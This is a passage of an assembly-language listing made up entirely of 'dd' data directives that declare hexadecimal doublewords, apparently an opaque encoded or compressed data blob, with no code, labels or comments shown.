		dd 8ACE2F00h, 0CDC3A8FBh, 958C106Bh, 6DC85057h,	72AEAD44h
		dd 0FB70AB07h, 0F524E7E0h, 809914C1h, 17D5036h,	6259E3Ah
		dd 36341897h, 540F2E40h, 0EC6707E1h, 8C0E598Fh,	0D0280164h
		dd 7D3645A8h, 2AC1AA13h, 0DBFEEC20h, 0E0C00008h, 0D16932E4h
		dd 0BE3AF847h, 559F8027h, 80A4ACECh, 1DA512BDh,	0D2891DB2h
		dd 0ED8CD97Bh, 221E113Bh, 91AD9050h, 0E0580077h, 19089552h
		dd 1D30C702h, 0E5C8211Ah, 58123975h, 0A2B64280h, 3649A8FDh
		dd 7AD650Bh, 14280B7Fh,	1218D6D0h, 0B0C4906Dh, 7002FD2Ah
		dd 0D506C738h, 0C388B075h, 71576296h, 8CA0FA44h, 2EDB34D8h
		dd 855ECD00h, 1F4C5DF6h, 623D022Ah, 0B6C126A1h,	65726C50h
		dd 8C6C5F24h, 0F91ECD43h, 0C22C461h, 40D06D11h,	0F11FC57Ch
		dd 6655DF97h, 95FDC494h, 0BCE9CA83h, 29EF0082h,	45155884h
		dd 78532EE2h, 6DE3C030h, 0D34C3E35h, 0DDB400F6h, 0AF5B8F74h
		dd 0C051AF0h, 5D0E41BCh, 10D80D8h, 0BF767BA1h, 8220B8DEh
		dd 84105A1h, 1DC06056h,	0F09D2807h, 1CB62244h, 69E17764h
		dd 45A30E40h, 4896AFB8h, 4D8EA585h, 0A93F600Dh,	0C629BC1h
		dd 0C28800Ch, 5A00A119h, 666B7A6Fh, 1C8D6Eh, 1570E6C1h
		dd 331B4AB9h, 0B412AEE2h, 6C0E50F5h, 231040DCh,	13732C5Fh
		dd 88120AADh, 0D600CB60h, 0B34EA102h, 1FBB8C03h, 964449Dh
		dd 0EC020F6Bh, 982A2184h, 28531EE3h, 92AA19h, 0ECD182A6h
		dd 86B25506h, 202EB79h,	0F234BC2Dh, 110738Dh, 95F464Eh
		dd 0AE082444h, 9EB01D4Ch, 0F7002F6Ch, 8C63A5C0h, 0A4612494h
		dd 48FB12E8h, 0A0B10DA0h, 66112EBEh, 0AF827B9h,	9C07292Bh
		dd 7E5B6580h, 797A23h, 2E124858h, 0BBC71CA6h, 4195910Fh
		dd 3215EEF2h, 0C49C9465h, 6820F180h, 98AD1EFDh,	99218069h
		dd 7D3DFA6Ah, 804A00B8h, 0F02BBC2Ch, 0F8442076h, 7BD52F00h
		dd 93B9AD95h, 203E00C9h, 0AE23E405h, 0A53CD1E7h, 841F2484h
		dd 0E5279840h, 5352079Bh, 0D35B4FDEh, 0DA909E81h, 0F48E469h
		dd 77F70350h, 89768059h, 0D9E4D146h, 0C32E2E08h, 0F49A5010h
		dd 9EBBF788h, 0AC3AB82Ch, 843E0C54h, 148A9922h,	88B98128h
		dd 0B8B228DAh, 1154E852h, 495491D0h, 4DFC9DF0h,	46C88B00h
		dd 89243AC5h, 0ECA34975h, 0CF9584C0h, 0A13199BBh, 0F0CBD8E1h
		dd 4FDB421h, 0B99B6458h, 0AD7C6074h, 0BEE89D32h, 6D4D39h
		dd 1E2B5C06h, 227FBF7h,	0F2FC5494h, 78EEBA51h, 87290E0Eh
		dd 22E4941Dh, 0BAC325BCh, 0A1289890h, 8C057F1Eh, 4878C2CBh
		dd 2D0A48Ch, 43B303Dh, 0C4CE0B71h, 9ECA75Ch, 843DDC42h
		dd 8F4053DCh, 2078336Eh, 0EA72BB00h, 70D47669h,	0BF400239h
		dd 0F2E23D45h, 280E2CECh, 0B50F6807h, 4FA8D4C4h, 0D0656C44h
		dd 5289A144h, 0B8A7FCD8h, 1C540074h, 4B509B48h,	9E0480BEh
		dd 0DBCF62Eh, 0E37B78C0h, 0C7F0A232h, 87C38900h, 547138EAh
		dd 49203400h, 2521E76Ah, 0D0195F95h, 2273E077h,	3CCE8880h
		dd 3008BE9h, 1A080C7Dh,	0CF09D01Ch, 6A3E8437h, 0B00815Ch
		dd 0FC24869Bh, 9CB1587Dh, 0F851DDB2h, 0EE8EE000h, 0E2E979h
		dd 0B428F2F3h, 207DF0D9h, 0B930C40Bh, 7C78AACFh, 7099A564h
		dd 0A286D839h, 773D293Dh, 95948271h, 7B7AEA93h,	0B9C30B6Ch
		dd 8E803464h, 9926A176h, 0A63EF901h, 0CC91103Ah, 4054AE1Fh
		dd 11A1BA59h, 8CA83491h, 8376CB55h, 170FC09h, 0FAE498ADh
		dd 61BF000Fh, 0DF31CF2Bh, 29022A57h, 0FFDDBD96h, 4640CE19h
		dd 119C57A2h, 0F714F4A0h, 99CE84CAh, 0C625B91h,	0AC9A2022h
		dd 6102BA8Eh, 794648C8h, 0C33924F6h, 42F0B234h,	681DD557h
		dd 16448B5Eh, 1488E53Ch, 26CE618h, 38B01482h, 0A640D3BCh
		dd 5E09E842h, 41A991C8h, 6066286Ch, 102CC200h, 6442D9E7h
		dd 0B1DD02FCh, 3C2469C0h, 90CBF4h, 33796578h, 5B6D2EECh
		dd 0C638437Ch, 0D0A0C9FDh, 1B24019Ch, 279FBB94h, 0B7846832h
		dd 502757A8h, 114F1B60h, 23F73909h, 0C193F400h,	4748B201h
		dd 0F83ED42Ah, 82EA6A3Bh, 6BF724A4h, 95FCC97Fh,	0F2797710h
		dd 1BB998A8h, 0BFC9A600h, 7C54ACABh, 929D0C69h,	29AE2361h
		dd 5872E3h, 0CC4CEE0Ah,	1C148B60h, 879FA43Ch, 0C061BEA0h
		dd 0EE5791BFh, 44C9B0BCh, 0F130040h, 9D8BB3E6h,	3F3FD1C4h
		dd 8F2880E9h, 0FAD3F608h, 676F4F22h, 0DC38795Ch, 4309B574h
		dd 0E8900F37h, 213E24h,	445CEB75h, 0D0AFE119h, 57132307h
		dd 0D9C7B1DFh, 28B82FF1h, 0C8013022h, 0D4E25AB5h, 915430CCh
		dd 0E8680F89h, 5F76F0C1h, 5088220Ah, 0F91347B8h, 9C201F32h
		dd 68BF6Eh, 608B1016h, 0B8D20361h, 0BC0B0400h, 0D451923Fh
		dd 6F980993h, 800BC166h, 0EE226501h, 0BC72D285h, 7E33D904h
		dd 6CDC8460h, 1A184492h, 7CA47252h, 8139846Fh, 3A43F60Fh
		dd 191E118Ch, 2103B619h, 78E9AA3Dh, 73CCA894h, 0E080B677h
		dd 7FDA0C5h, 46026E0Fh,	44010BB4h, 0F3A5007Ch, 0CC6F2D24h
		dd 0F14C49C8h, 95CE0E10h
		dd 0C8C1776Dh, 0B215F7AEh, 0E6DB0084h, 0FC30203Dh, 0A6FE17D3h
		dd 30485C34h, 0A198AED8h, 0B509A078h, 8187BFE6h, 91DEFFBCh
		dd 0B1896C47h, 10C8F838h, 0D4751759h, 306499AAh, 7FE49520h
		dd 201E212Fh, 4B8539A0h, 0B2DB0092h, 6C109E5Ch,	67760E8Ah
		dd 7AE8D40Bh, 0EA5C1C37h, 797D38h, 710EDFAEh, 83526B6Fh
		dd 0C9294F04h, 78E49991h, 87DF2827h, 0B3661758h, 0FBC49880h
		dd 1E0C7600h, 298FBB99h, 0C47D0026h, 7109AD49h,	58B9CEF7h
		dd 8BFC0B15h, 26C8C726h, 0D65A0194h, 842395D8h,	1E471A79h
		dd 8C5CE8D1h, 0A2446414h, 5C4CD0h, 25D9ED74h, 3C4BAE6h
		dd 0FEE02FDh, 2AA89508h, 767A2E4Eh, 0EC0215F0h,	75790E5Ah
		dd 0F4CC4E80h, 7AFCA8F1h, 0FAAE0EBBh, 8B65D50Bh, 25D8B385h
		dd 24DC4535h, 0A86C157Ch, 9012D121h, 74C62020h,	76E70037h
		dd 0D0C8338Ah, 0F0994421h, 0FA569200h, 1696B045h, 3022A4Ch
		dd 7B87D2C8h, 94D6F2CFh, 619380B9h, 0FE26F880h,	3017C12Eh
		dd 9D99C401h, 242D3530h, 0D18EE488h, 0D9432223h, 0B9C6E2F2h
		dd 58C2E19Ch, 74AF59B4h, 81B882A4h, 504429h, 0A1CC2DC9h
		dd 0D735FBE3h, 817DC177h, 48A2AD00h, 3BA33460h,	41D89479h
		dd 2A84DF37h, 77DD828h,	4265C2F0h, 261320CCh, 6C03B4DFh
		dd 0C7CAE595h, 270AB9C6h, 0FCE4438h, 0BBAEC090h, 0A07B0926h
		dd 5D0D0BEBh, 92C42476h, 5244495Ch, 6CE600E0h, 26D2F52Ah
		dd 0B413139Ch, 0B0489119h, 113E8E05h, 549AA980h, 64EEE461h
		dd 38606D2Eh, 5A5C10ADh, 0C32D00D1h, 0FCCAAE24h, 0B8B33504h
		dd 6C88F812h, 15F304E9h, 0C82AD1A7h, 39000778h,	0B9229612h
		dd 27067Fh, 9EF7C997h, 149A16D8h, 0B4400C00h, 0DF218CFAh
		dd 0AC3099BBh, 1C18C944h, 8B2F1176h, 4CDCE7h, 0A6EFE456h
		dd 85EEE1C5h, 42AA6617h, 3B2748D8h, 5F80EDA1h, 720271F1h
		dd 0C49C7D25h, 59E6E50Ch, 670C0080h, 9966D906h,	0AD4AA5BDh
		dd 18882012h, 6CDF0008h, 87D1288Bh, 0B902D2C0h,	0A8AB3C0Fh
		dd 0E68CB9B2h, 3C912EA7h, 2820D2A2h, 7C47581h, 5B38C1B4h
		dd 0A834CB84h, 710FE200h, 6A82961Fh, 93349880h,	98E2074Ch
		dd 82DC5A6Dh, 0EC9B0711h, 0A3A3482h, 70000C53h,	4C6BF60Ch
		dd 0B4924866h, 7B285807h, 704D3B42h, 0C9791119h, 0AE88383Ch
		dd 0C8C78445h, 843491E8h, 64E47970h, 9B250067h,	0FAAAA31Bh
		dd 0D00E7DB9h, 0A027B4D6h, 9C10EA94h, 66790CC2h, 53690D28h
		dd 0F3C82600h, 32A22F94h, 67760020h, 0D88D4B50h, 364EDE64h
		dd 1831C069h, 6880086Ch, 61E6AD43h, 0A9F624EEh,	9D254F0Eh
		dd 0D47780AFh, 0A1F4D22Ch, 26126CA8h, 28A6CC71h, 84E4BF08h
		dd 0F5370A1Ah, 51E80748h, 639103D6h, 1D9B00B4h,	0DABB5699h
		dd 3ECC279Ah, 284D18B6h, 70C84A5Ch, 2BD60737h, 70A8385Ch
		dd 0DAE01E54h, 79167896h, 98ADAC90h, 64E2007Fh,	0DD9C6DB1h
		dd 1A00F648h, 5D68D951h, 1385119Fh, 0D1B169A5h,	1122BF84h
		dd 402E771Ah, 2064ADE0h, 16249584h, 0C787305Fh,	108BDE87h
		dd 1F73360Ch, 2CC67D13h, 51D502F4h, 585C03ECh, 10C90112h
		dd 8CC73C62h, 7B43003Ah, 0A3143C54h, 16B8D053h,	0A4C9A8ECh
		dd 28662BD2h, 9E9B990Bh, 2C088E80h, 0B4FDC8CEh,	4774080Ch
		dd 6401594h, 0D1F85382h, 3B280004h, 296BF00Bh, 0EB09C636h
		dd 232C9E25h, 0A210374Ch, 0BBDCE8B7h, 77084E6h,	1B46758h
		dd 2987341Eh, 0A8416A8h, 0E44D5DC4h, 21446C54h,	29500394h
		dd 4CE9CD5Ah, 0F459DFAAh, 0B4713703h, 1E392AE1h, 0EE3C90B0h
		dd 5B74DAh, 54713FE7h, 0F84CCC08h, 41DC5E54h, 0A2B0C354h
		dd 0BC2FAD20h, 64CA40B8h, 8C00028Eh, 6A2CACC4h,	5F900Bh
		dd 0F5E3DF60h, 791A3CB5h, 0AFC7C601h, 12AE9454h, 18ECE1CAh
		dd 0F00C7871h, 0B81CB629h, 0CE808B00h, 0B87C01CBh, 2F8E320Eh
		dd 400D4F1Bh, 904A55A1h, 0BF9C048h, 0F9089138h,	14AF8307h
		dd 29A30DF0h, 89583296h, 1866AC50h, 0F09BF7Ch, 887507FCh
		dd 4CA7A8C4h, 0C8F4022Ch, 915CB97Eh, 13008844h,	45E8D9BCh
		dd 14AB051Ah, 0ACBB9CACh, 77184077h, 8F0D0C05h,	0D0F0C6E3h
		dd 0CB290126h, 32E7F121h, 3483339h, 716BC5E4h, 4D7DE047h
		dd 0B0780E4Fh, 473F20ADh, 466C732Fh, 0E58585Fh,	0C9C83F0Ah
		dd 1F4D0354h, 80CB7622h, 4B8D6C70h, 41C89D52h, 622C8098h
		dd 623087D0h, 0DAD958E1h, 0E9BC60FEh, 72012A64h, 512CA238h
		dd 96919028h, 8B0C88h, 25E352Eh, 71859DDCh, 5300A772h
		dd 0F0506C68h, 209E2629h, 640A8AE7h, 2454C2DCh,	0CAA2043Ah
		dd 0D0A01604h, 0B9060C8Eh, 9F110C76h, 0D090F728h, 0E8C9F62Ch
		dd 0D062124Eh, 299C10CEh, 0BB92A8C2h, 720F003Fh, 6A0F9862h
		dd 2175A5D3h, 279D1671h, 6B005062h, 0C4A2123Eh,	997C6AC3h
		dd 4476C213h, 7F607C90h, 18D7725h, 19D633Ch, 2C0F0989h
		dd 659A8080h, 0AE69D1h,	0FD2734CDh, 0B54263Eh, 292AAA00h
		dd 947BE07h, 54125076h,	0BBEC063Fh, 0D82443CAh,	4C34405Bh
		dd 0CE27C580h, 207A5B56h, 5021E248h, 0C370ABFEh, 0FE6C5900h
		dd 0A5809FB4h, 80FD586Fh, 1D36517h, 66382938h, 0BE5180CAh
		dd 0B3217362h, 89AC74A0h, 347915h, 13D2F9E5h, 139A4BD9h
		dd 39E32E8h, 4644A0BFh,	1937898h, 0A13E1C0Ah, 0A600B996h
		dd 40632204h, 0EE20C1E8h, 8A98C0h, 125D9572h, 0D2BEC3F0h
		dd 45A4428h, 7FDD9D00h,	2CA2CEA7h, 942A0030h, 7B1B2959h
		dd 1C07A6D1h, 2397DE04h, 0E843D310h, 19CA6034h,	8E8D6677h
		dd 220C13Eh, 431375FCh,	4DC4A0A5h, 3D3B9B5Ch, 995AACBh
		dd 0FC52B861h, 4180B09Ah, 0AEA19E15h, 22C5DF05h, 6800230Fh
		dd 383919E0h, 0D345809Fh, 0DF108404h, 344A21BEh, 0AE11B0h
		dd 4427C012h, 19820B5h,	0DD0F31FCh, 0E4F4BBD8h,	6D138526h
		dd 0E8D23B89h, 427CC691h, 7D11096Bh, 918483A5h,	302105F0h
		dd 0F707390h, 88D3C3D4h, 0A8776F4h, 96F04744h, 3C482091h
		dd 0EFE87F95h, 0A968A600h, 0ED458005h, 1BB9034Bh, 0C7DEF4FCh
		dd 0A480D0BAh, 0E6B34971h, 81AC764Ch, 4A9B98AEh, 5CB84EC8h
		dd 3532D895h, 9C406471h, 13023474h, 91A1270h, 84C8A9DAh
		dd 18CA5564h, 0E72B8400h, 0B17FAC0Bh, 7C003679h, 0FF1EADE2h
		dd 7C711688h, 0B68DB8C4h, 0C4D824FCh, 8094E812h, 83B6DBBCh
		dd 6476DAh, 0F2DEB00Dh,	75E29722h, 0B53C9EFEh, 2AACD82Ah
		dd 9122A007h, 7CE0A25Ch, 9EA78344h, 77B1D507h, 28C287Ah
		dd 9D1B7112h, 40146662h, 0C2413C23h, 0B80D6420h, 97154E40h
		dd 93708074h, 710E2A34h, 20C7FAD1h, 0A95FAC9Ah,	54FB5DEEh
		dd 40DD9185h, 0B8774994h, 0C5F0E3CCh, 5FC39200h, 248C615Ch
		dd 0EC514848h, 47F5390Eh, 0A1283560h, 0E200FA53h, 0A3A0A598h
		dd 74504D82h, 0B9E12CBh, 642809E3h, 0F0956480h,	42E85ACCh
		dd 299D03Ch, 0D8B8613Eh, 4E207607h, 0B50C7080h,	1800B20Ah
		dd 40D7628h, 0FF7C9D2h,	0BB1FD145h, 2C13CC8Eh, 0A0862764h
		dd 98D76A14h, 0D0664C2Ch, 44105FC4h, 0D4B57976h, 97F0B8F9h
		dd 41C1EED7h, 3964C10Ch, 409124E0h, 0A59BD040h,	0FE970036h
		dd 9EA26E16h, 58AECE6h,	548376C8h, 1504FCDEh, 99B94004h
		dd 44A525h, 2A52CE77h, 77D2919h, 81401C96h, 73D5006h, 20D72E32h
		dd 0E313E080h, 0D931C3CCh, 6BE6193Ch, 121C5F3Eh, 0FE0A4BDh
		dd 1AA32804h, 0B0C37120h, 76AFA91Eh, 8B80C038h,	0B83CEF79h
		dd 63115807h
		dd 5270DFA4h, 52D804E4h, 7E079478h, 60A708C1h, 6F5F702Bh
		dd 7CBBEC94h, 0F31D010Fh, 1371C0BDh, 1EFB996Bh,	91C0D93h
		dd 0F05A392Dh, 2190AE0Fh, 9BCC01B8h, 2AD1E8BDh,	1900982Dh
		dd 0BB50C763h, 0AD0106D0h, 0DE48FC75h, 684157BEh, 8078115Ah
		dd 0C0F8BA84h, 22FCC8D9h, 1400B6B8h, 0D4E8A2F9h, 4B52082h
		dd 5F0DAD85h, 14E0A274h, 16CC2EE1h, 3831A170h, 387C9CC3h
		dd 47002494h, 95A82C4Dh, 9005263Fh, 28D12343h, 805D084h
		dd 14043E09h, 2CE2A207h, 16E9E01h, 80CF880Fh, 4002B560h
		dd 24BDF0FDh, 415C7129h, 3E2052A2h, 1C9EB470h, 3942006Fh
		dd 30548197h, 0BB580514h, 1E080079h, 0ECCC7B28h, 0B18C1373h
		dd 69488155h, 83502287h, 8028C0F3h, 0B236562h, 6FA63BEAh
		dd 813CFCA0h, 6B60C380h, 27892F81h, 86954CDh, 21843885h
		dd 0D01D9B96h, 4523FDCCh, 0CBA59107h, 0D87224A9h, 0BF744077h
		dd 1150270h, 2F1D6637h,	20651600h, 0F0170139h, 4312CA6Fh
		dd 0F80606Bh, 88292724h, 0F164C640h, 81013AEDh,	0CC7E9882h
		dd 0B0E0EB59h, 3E722848h, 0E562D90Ch, 3F3891Ah,	0F96C74A4h
		dd 2E8815A3h, 0C40CE129h, 0C0C86DE6h, 0CD381387h, 60384A9Bh
		dd 9D8040D0h, 220908CCh, 70DE4C27h, 4452447Ch, 2E29F960h
		dd 0E7ACD3Bh, 0A4933D1Ah, 73368840h, 0E6E43EB7h, 5F9D3Fh
		dd 0B3317201h, 0F4177111h, 90CC996Eh, 24DC2077h, 43D49134h
		dd 1ED0634Bh, 3E059697h, 0AFC6956Dh, 900288D5h,	0C1371658h
		dd 961012E4h, 9F06A446h, 60895213h, 20088068h, 689358DFh
		dd 8C400F80h, 2E25361Eh, 0BC3CC816h, 0ABA20727h, 0D940C077h
		dd 0E4B65027h, 0A0F7212Ch, 5FD0222Ah, 3A0E7C71h, 746D817Dh
		dd 303A4ADBh, 0BCD82A00h, 92A64C00h, 1AE19C47h,	0F21C7385h
		dd 234B00B2h, 0BB258E9Fh, 0EA58ADD5h, 0F8800230h, 7EEF2181h
		dd 0A76C04ECh, 0BB110016h, 90CCC50h, 620983BEh,	263E899h
		dd 54040BAAh, 87344021h, 0BB0DB2D1h, 1A1E0CACh,	0F100ED21h
		dd 92870E3Fh, 0E68465A4h, 9E695CB8h, 214DF212h,	0E496ACC0h
		dd 0F07BD0F8h, 40C0415Ch, 88A00508h, 98003A47h,	75B8DE6Bh
		dd 0B139EE79h, 97582E24h, 0DF84201Eh, 0E002450h, 3FCFCA21h
		dd 26F9C74Ch, 11402F45h, 0C0A89074h, 416D697Bh,	0BEB0020h
		dd 940DB059h, 25008D3Ch, 0DA862CA3h, 13A24EACh,	30A12643h
		dd 0C3741A20h, 6744A8B4h, 2EC9F721h, 0F6013C20h, 0BC91B6h
		dd 0E29FA177h, 0EF057151h, 86016B9Dh, 0D008A80Eh, 0DC229C58h
		dd 8B077CBCh, 92404F32h, 2CA496C1h, 0C45C8110h,	1FF491FDh
		dd 0AFA1C8C9h, 7FB774A0h, 0F96F2000h, 76810BB2h, 89C524B9h
		dd 1913404h, 7DB4AFE8h,	50103E40h, 136AA1E8h, 180EFDCh
		dd 5950FB6h, 8535DE52h,	1949BC76h, 1B2CB4A0h, 41A7A2F7h
		dd 0D4566782h, 11124342h, 86C0C9Ah, 3BE1C947h, 0B143C160h
		dd 0AE981E60h, 28930025h, 8022F7Eh, 0B4053D00h,	21B94F29h
		dd 0CC8CFEDh, 5C427B80h, 10B5CF9Ch, 13E0CC88h, 0F116B551h
		dd 11807D0h, 649FA0F6h,	27020EDCh, 5E12206Dh, 4AC044EEh
		dd 0BFC9015h, 0B709AC30h, 98286AFAh, 0B8C0EEA0h, 6ED60035h
		dd 75768A3Fh, 0A0A45CF7h, 6D9D0B05h, 60E08E1Dh,	3869880Ch
		dd 0A8D77B00h, 0C0F26CCBh, 7654F0A4h, 6E461D83h, 1D878469h
		dd 0DDC8F4E5h, 77C96503h, 83756F36h, 732DB815h,	0CA1C0B1Eh
		dd 286878D2h, 901CE52h,	0CFFD0189h, 57C4F3F6h, 0A86F00D1h
		dd 0FC239EF7h, 0BD229D85h, 34AE5818h, 0C7B86FC0h, 650001B4h
		dd 29C023D6h, 140D4B5Dh, 0B438DAE5h, 31807539h,	7707EAA5h
		dd 0B8A680A0h, 8216BF7Ah, 0E800A389h, 0FF1EE227h, 1B1EA95h
		dd 0D1E84EE3h, 443F9D20h, 0BE8C408h, 18D17614h,	268D8580h
		dd 0D3E873h, 455247A2h,	75AE7E3Eh, 250074B8h, 0C84999CDh
		dd 0F8200944h, 6F9E0395h, 80A78898h, 0E56DBB88h, 0F8974B4Ah
		dd 86096180h, 37F20BCCh, 0E01875F3h, 5609D0FDh,	10783A34h
		dd 6E96DCh, 875A899h, 469D1089h, 377208A0h, 0C4B228F8h
		dd 73FBA100h, 1636127Dh, 75F4A804h, 7EE000BEh, 985FB765h
		dd 50B49B55h, 0FA92E343h, 9F42A8h, 0B74E1AFh, 4DF11829h
		dd 0B639992Fh, 600E9826h, 4BBB70Bh, 40C4BC54h, 24AF3082h
		dd 8064BC77h, 2AA624B8h, 55FB383Ch, 98918980h, 84358DBAh
		dd 61296202h, 0C628E7E5h, 82A30154h, 7398FD4Ah,	5990603Dh
		dd 75094577h, 912849F1h, 4C795EB4h, 756469C0h, 8E23C81h
		dd 212AA5E0h, 700A84Fh,	63A26BEh, 0BD6C5F75h, 0DA9EB490h
		dd 0A54EF225h, 40820F4Ch, 4000F607h, 7B63FC8Dh,	8F5E660Fh
		dd 0F01BC0B6h, 0EEC15D32h, 91544ED1h, 4D0504h, 0F510B80h
		dd 0AF49E6E9h, 99299680h, 0A1001E8Bh, 0DB2175E0h, 0FD9E3760h
		dd 882E0h, 9DDD3BEh, 2F383C2Bh,	320E96F2h, 3A84673h, 0C09D8BFEh
		dd 42023Ah, 703D716Dh, 574A8428h, 0FE4B5F79h, 81023048h
		dd 0A45D8E2Dh, 7223CC8Ch, 21603D00h, 95E5336Eh,	6C28009Dh
		dd 0A5784B1Ah, 4C903271h, 3D3FE091h, 0B7BF858Ch, 7C8268F5h
		dd 0F0CC177h, 187473D1h, 51437CCAh, 4DE0CC8Fh, 1483FE0Eh
		dd 24AF0780h, 0BC951277h, 0BE200A04h, 57900ACh,	0BDB93C56h
		dd 29229117h, 3108888h,	1C467DD3h, 0DCE06A9Bh, 703CFC26h
		dd 170E93C4h, 336800D0h, 0F004734Fh, 8E8A01Fh, 93C38836h
		dd 9430199Fh, 53F820h, 0DD359679h, 745F59ADh, 0BE184550h
		dd 5814BFh, 401594E0h, 56D90C6Fh, 614FC400h, 21C870ECh
		dd 32E11299h, 7814A039h, 0C2450202h, 0C490019Eh, 24370758h
		dd 10C3FE4Dh, 30D9216Bh, 8A094B00h, 7E648B8h, 60630096h
		dd 8C7D320h, 0EC1F8702h, 33094414h, 2EA400EFh, 1D0A9371h
		dd 4AC1E49Bh, 6070EC60h, 7DE03DC5h, 91DE960Bh, 147924h
		dd 0D319A38Ch, 28F27593h, 1708102h, 80D0A083h, 5EF12CEEh
		dd 4A634F6Dh, 812C8088h, 0F7DA961Fh, 0E8B97031h, 6CC05496h
		dd 0E6083497h, 11260509h, 0A4E548h, 0E006C5B4h,	0F35C71B4h
		dd 4B751698h, 887148A2h, 2D00AB01h, 49A7CBAh, 75CD69EAh
		dd 39840261h, 411175AFh, 0E0FA18E4h, 45C3300Fh,	0A0B64176h
		dd 11943178h, 4E07F009h, 91CD08F7h, 59C92981h, 77023D0h
		dd 31D0DDC5h, 76D7233Fh, 715F9125h, 0CE00B062h,	8129BFE4h
		dd 0BD28790Eh, 449C8CEAh, 0FE0D5040h, 72AF003Eh, 53BDBCC1h
		dd 7B00F741h, 0BA99201Ah, 0D286A21Dh, 0AE90CCE0h, 6071D0C0h
		dd 0B1210BCDh, 0A9E681D8h, 0CC165B12h, 0B57F406Bh, 4DA49195h
		dd 0C9F5F8EBh, 0FB1B0073h, 9698A540h, 0B61AABECh, 7482B53Bh
		dd 9169228h, 0A8814920h, 0F081237Eh, 5B0105D4h,	1F9FDDE1h
		dd 841CB8Fh, 0E4742737h, 307D4899h, 5580B700h, 95C3F86Ch
		dd 0D9340084h, 65990E77h, 4B2703C8h, 3D6090EEh,	0DBDA00E7h
		dd 6F91C285h, 0C54C3478h, 54206AB8h, 16891408h,	8328E444h
		dd 77483C00h, 0A0EC114Ah, 4B7409C6h, 600F436Bh,	91A3138h
		dd 0AE1ED091h, 0F4D65142h, 10F96Ah, 0A972A698h,	107F0F5Dh
		dd 38F1040Bh, 0C6580003h, 9BF768h, 85FFEDC0h, 49EE445Dh
		dd 0B23AA601h, 0E09811F9h, 0D830B061h, 1ABE0005h, 13692621h
		dd 9B03D943h, 0EB2BEF8Ah, 0F36198E2h, 54496E7h,	0C02C1349h
		dd 0E1212305h, 9940C4Ch, 80791005h, 0AB5391D8h,	4422EDD2h
		dd 46A10D80h, 0CE072B5Bh, 0CB29B8ECh, 68B8D924h, 0D2873502h
		dd 0A8C418BBh
		dd 1E421496h, 219A60D7h, 9ED7377h, 0DC9BC625h, 280268CCh
		dd 0B9D40F66h, 0C004E3FDh, 12693Ah, 35858B71h, 0D1EC926h
		dd 91EA811Eh, 0E798E5D8h, 84B175h, 8A8C5D25h, 0A0041311h
		dd 2203D91Dh, 5C804CACh, 0B2B509FAh, 0BF823000h, 1E1C63A7h
		dd 0F0842806h, 0A8C8AB5Ch, 9493D8CBh, 5810AF18h, 43E29EFCh
		dd 0B04B2709h, 76520292h, 0C89855BDh, 0DC07A1CBh, 0E45BEE1h
		dd 0D4014770h, 0E86F0006h, 389E21FAh, 150092A1h, 0DAAAD527h
		dd 0B347B88h, 31C408C2h, 0C800F473h, 25E443D2h,	9129097Dh
		dd 2C201C54h, 0FB238E95h, 9AAE000h, 0E9A4FC1Eh,	0C4750BEBh
		dd 38C49C52h, 0C91B2B02h, 59ABA0F3h, 0D9403D64h, 17317180h
		dd 1D370FB3h, 812783ECh, 0CA9B58A5h, 0E790B4ADh, 12B86F52h
		dd 50E27611h, 51DB9B00h, 0A4E94740h, 7F28A500h,	0CC7DA1Dh
		dd 78FC34h, 9B589629h, 0F721CB80h, 9CB1A277h, 7F24513Bh
		dd 0F34FC420h, 0F9B1005Eh, 48EB1184h, 94007360h, 4002763Dh
		dd 1C92AB71h, 646F80A0h, 77094024h, 720FE55Ah, 0A29164Bh
		dd 700E083Fh, 0C1324C5Fh, 8180E115h, 4973EF48h,	7F707ABCh
		dd 0B9176000h, 1D9ADE3Dh, 4304B48Dh, 0CB892544h, 9387D9Ch
		dd 4082A1F7h, 0BCA00730h, 98AD40A8h, 5B00EF6Bh,	1CB95754h
		dd 0BF0161h, 0DA1FEE2h,	7B2B4A05h, 41726F00h, 14D9AC90h
		dd 0D076002Eh, 7AE4A03Eh, 0CF58E010h, 40551627h, 206B4804h
		dd 9D812640h, 74909E75h, 24EFD39h, 535C7134h, 8430563Bh
		dd 907D10BFh, 0A999C5B8h, 9155A027h, 8224918h, 403ABB02h
		dd 0E4482624h, 8513BE06h, 60C87409h, 17DA8165h,	1A425654h
		dd 7C543172h, 101D8CE0h, 91AF0011h, 2DFA93F6h, 0C6019F34h
		dd 9E27D7C8h, 3478DB1Eh, 404202C0h, 24B678E9h, 926FFF80h
		dd 0A07061h, 0AB4CDD4Ah, 44E39AA5h, 5369BC00h, 2803CD3Fh
		dd 28BB7539h, 0AC88DE31h, 0E2F103C8h, 0C5EF7E6Eh, 0ACCC9EDBh
		dd 0EEA08E90h, 0C3D460A6h, 39F059h, 49A16DE0h, 0CA10A27Ch
		dd 189F0770h, 86165C30h, 51B47215h, 0E71E18B8h,	7D72B59h
		dd 0A84DF37Bh, 0A88C355Bh, 0D22980C0h, 990BD72h, 706D231Eh
		dd 92C394C0h, 741A20A0h, 0E0BF4A6h, 0C828FEF1h,	0BAE434h
		dd 69FA9A4Dh, 78939DE6h, 0A2B5EC01h, 7AC2043h, 0C75E1C9h
		dd 2828207Eh, 5C13F8F1h, 0D60041FFh, 70948B14h,	8FF23A13h
		dd 663F5E81h, 6396DE84h, 7D0E01A0h, 37A86115h, 5B34D4C2h
		dd 0EEE911E0h, 6D293B0Fh, 1AD02759h, 4AAE0451h,	28482500h
		dd 2446404h, 0E6C51708h, 3FA55480h, 0AD753AD9h,	0E57CFD09h
		dd 0DA00D0F2h, 4DDFA265h, 7D4964h, 4F7C725Ch, 9D18BC03h
		dd 0F200E6E8h, 0F146120Bh, 0EC3BC9h, 890DE74Dh,	0C513A176h
		dd 375AEB7Fh, 16BAC48h,	0CD86720Fh, 40DAC076h, 474574Ch
		dd 0EF7D6D93h, 84891C82h, 82295C4h, 0D89455h, 0B3147DE9h
		dd 6769F627h, 0C0BCC200h, 60A1EED6h, 4F6F0430h,	0ABB9F4C6h
		dd 6A6CFC21h, 96004069h, 18C83C92h, 5E12C201h, 0C0D25C47h
		dd 0AE282060h, 0D000176h, 29D34B7Bh, 135B9594h,	57D23FBh
		dd 0AD3F88F2h, 0EEAD2550h, 0E0B40040h, 815ED80Fh, 0DD000860h
		dd 659D91CCh, 0DE49E7E9h, 88E61038h, 1D00B8EDh,	48C6FBD4h
		dd 8F4C0C43h, 0B15780C8h, 86BC6Dh, 0D0DD6429h, 74D3BEECh
		dd 3E009872h, 37017071h, 0B443CACBh, 174A42BCh,	86770720h
		dd 0C8BE4FDEh, 0B4137000h, 0CA62FE5h, 853BEB00h, 8290FD19h
